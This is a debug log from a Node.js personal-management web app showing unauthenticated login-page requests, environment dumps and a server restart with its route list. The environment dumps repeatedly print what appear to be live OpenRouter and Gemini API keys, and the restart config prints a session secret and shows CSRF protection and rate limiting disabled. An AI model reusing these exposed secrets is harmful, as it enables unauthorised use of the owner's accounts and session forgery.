2026-07-24T13:53:15.937Z server-connect:app Executing action step identify
2026-07-24T13:53:15.938Z server-connect:app options: { provider: 'security' }
2026-07-24T13:53:15.938Z server-connect:auth No login cookie found
2026-07-24T13:53:15.938Z server-connect:output identity: false
2026-07-24T13:53:15.938Z server-connect:app Executing action step restrict
2026-07-24T13:53:15.938Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-24T13:53:15.939Z server-connect:output restrict: undefined
2026-07-24T13:53:16.184Z server-connect:router Serving templateView /login
2026-07-24T13:53:16.185Z server-connect:app Executing action step identify
2026-07-24T13:53:16.185Z server-connect:app options: { provider: 'security' }
2026-07-24T13:53:16.185Z server-connect:auth No login cookie found
2026-07-24T13:53:16.185Z server-connect:output identity: false
2026-07-24T13:53:16.185Z server-connect:router Render template layouts/authentication
2026-07-24T13:53:16.186Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '80.82.65.226',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-25T13:53:16.184Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '80.82.65.226',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '80.82.65.226',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-24T13:53:20.510Z server-connect:router Serving templateView /login/
2026-07-24T13:53:20.510Z server-connect:app Executing action step identify
2026-07-24T13:53:20.511Z server-connect:app options: { provider: 'security' }
2026-07-24T13:53:20.511Z server-connect:auth No login cookie found
2026-07-24T13:53:20.511Z server-connect:output identity: false
2026-07-24T13:53:20.511Z server-connect:router Render template layouts/authentication
2026-07-24T13:53:20.511Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '80.82.65.226',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-25T13:53:20.510Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '80.82.65.226',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '80.82.65.226',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-24T13:53:20.552Z server-connect:router Serving templateView /login
2026-07-24T13:53:20.553Z server-connect:app Executing action step identify
2026-07-24T13:53:20.553Z server-connect:app options: { provider: 'security' }
2026-07-24T13:53:20.553Z server-connect:auth No login cookie found
2026-07-24T13:53:20.553Z server-connect:output identity: false
2026-07-24T13:53:20.553Z server-connect:router Render template layouts/authentication
2026-07-24T13:53:20.554Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '80.82.65.226',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-25T13:53:20.552Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '80.82.65.226',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '80.82.65.226',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-24T13:53:25.020Z server-connect:router Serving templateView /login/
2026-07-24T13:53:25.021Z server-connect:app Executing action step identify
2026-07-24T13:53:25.021Z server-connect:app options: { provider: 'security' }
2026-07-24T13:53:25.021Z server-connect:auth No login cookie found
2026-07-24T13:53:25.021Z server-connect:output identity: false
2026-07-24T13:53:25.021Z server-connect:router Render template layouts/authentication
2026-07-24T13:53:25.022Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '80.82.65.226',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-25T13:53:25.020Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '80.82.65.226',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '80.82.65.226',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-24T13:53:25.600Z server-connect:router Serving templateView /
2026-07-24T13:53:25.600Z server-connect:app Executing action step identify
2026-07-24T13:53:25.600Z server-connect:app options: { provider: 'security' }
2026-07-24T13:53:25.601Z server-connect:auth No login cookie found
2026-07-24T13:53:25.601Z server-connect:output identity: false
2026-07-24T13:53:25.601Z server-connect:app Executing action step restrict
2026-07-24T13:53:25.601Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-24T13:53:25.602Z server-connect:output restrict: undefined
2026-07-24T13:53:30.603Z server-connect:router Serving templateView /
2026-07-24T13:53:30.603Z server-connect:app Executing action step identify
2026-07-24T13:53:30.603Z server-connect:app options: { provider: 'security' }
2026-07-24T13:53:30.604Z server-connect:auth No login cookie found
2026-07-24T13:53:30.604Z server-connect:output identity: false
2026-07-24T13:53:30.604Z server-connect:app Executing action step restrict
2026-07-24T13:53:30.604Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-24T13:53:30.605Z server-connect:output restrict: undefined
2026-07-24T13:53:31.096Z server-connect:router Serving templateView /login
2026-07-24T13:53:31.097Z server-connect:app Executing action step identify
2026-07-24T13:53:31.097Z server-connect:app options: { provider: 'security' }
2026-07-24T13:53:31.097Z server-connect:auth No login cookie found
2026-07-24T13:53:31.097Z server-connect:output identity: false
2026-07-24T13:53:31.097Z server-connect:router Render template layouts/authentication
2026-07-24T13:53:31.098Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '80.82.65.226',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-25T13:53:31.095Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '80.82.65.226',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '80.82.65.226',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-24T13:53:36.858Z server-connect:router Serving templateView /login
2026-07-24T13:53:36.858Z server-connect:app Executing action step identify
2026-07-24T13:53:36.858Z server-connect:app options: { provider: 'security' }
2026-07-24T13:53:36.859Z server-connect:auth No login cookie found
2026-07-24T13:53:36.859Z server-connect:output identity: false
2026-07-24T13:53:36.859Z server-connect:router Render template layouts/authentication
2026-07-24T13:53:36.859Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '80.82.65.226',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-25T13:53:36.857Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '80.82.65.226',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '80.82.65.226',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-24T14:36:10.943Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-24T14:36:12.631Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-24T14:36:13.493Z server-connect:setup:upload Upload middleware configured.
2026-07-24T14:36:13.494Z server-connect:secure CSRF Protection initialized
2026-07-24T14:36:13.498Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-24T14:36:13.499Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-24T14:36:13.502Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-24T14:36:13.504Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-24T14:36:13.510Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-24T14:36:13.513Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-24T14:36:13.530Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-24T14:36:13.542Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-24T14:36:13.547Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-24T14:36:13.548Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-24T14:36:13.548Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-24T14:36:13.552Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-24T14:36:13.558Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-24T14:36:13.568Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-24T14:36:13.572Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-24T14:36:13.580Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-24T14:36:13.582Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-24T14:36:13.585Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-24T14:36:13.594Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-24T14:36:13.598Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-24T14:36:13.599Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-24T14:36:13.608Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-24T14:36:13.608Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-24T14:36:13.615Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-24T14:36:13.618Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-24T14:36:13.622Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-24T14:36:13.622Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-24T14:36:13.626Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-24T14:36:13.631Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-24T14:36:13.634Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-24T14:36:13.634Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-24T14:36:13.638Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-24T14:36:13.642Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-24T14:36:13.642Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-24T14:36:13.649Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-24T14:36:13.652Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-24T14:36:13.654Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-24T14:36:13.664Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-24T14:36:14.155Z server-connect:router Serving templateView /
2026-07-24T14:36:14.158Z server-connect:app Executing action step identify
2026-07-24T14:36:14.158Z server-connect:app options: { provider: 'security' }
2026-07-24T14:36:14.160Z server-connect:auth No login cookie found
2026-07-24T14:36:14.160Z server-connect:output identity: false
2026-07-24T14:36:14.160Z server-connect:app Executing action step restrict
2026-07-24T14:36:14.160Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-24T14:36:14.164Z server-connect:output restrict: undefined
2026-07-24T14:36:14.267Z server-connect:router Serving templateView /login
2026-07-24T14:36:14.267Z server-connect:app Executing action step identify
2026-07-24T14:36:14.268Z server-connect:app options: { provider: 'security' }
2026-07-24T14:36:14.268Z server-connect:auth No login cookie found
2026-07-24T14:36:14.268Z server-connect:output identity: false
2026-07-24T14:36:14.268Z server-connect:router Render template layouts/authentication
2026-07-24T14:36:14.268Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
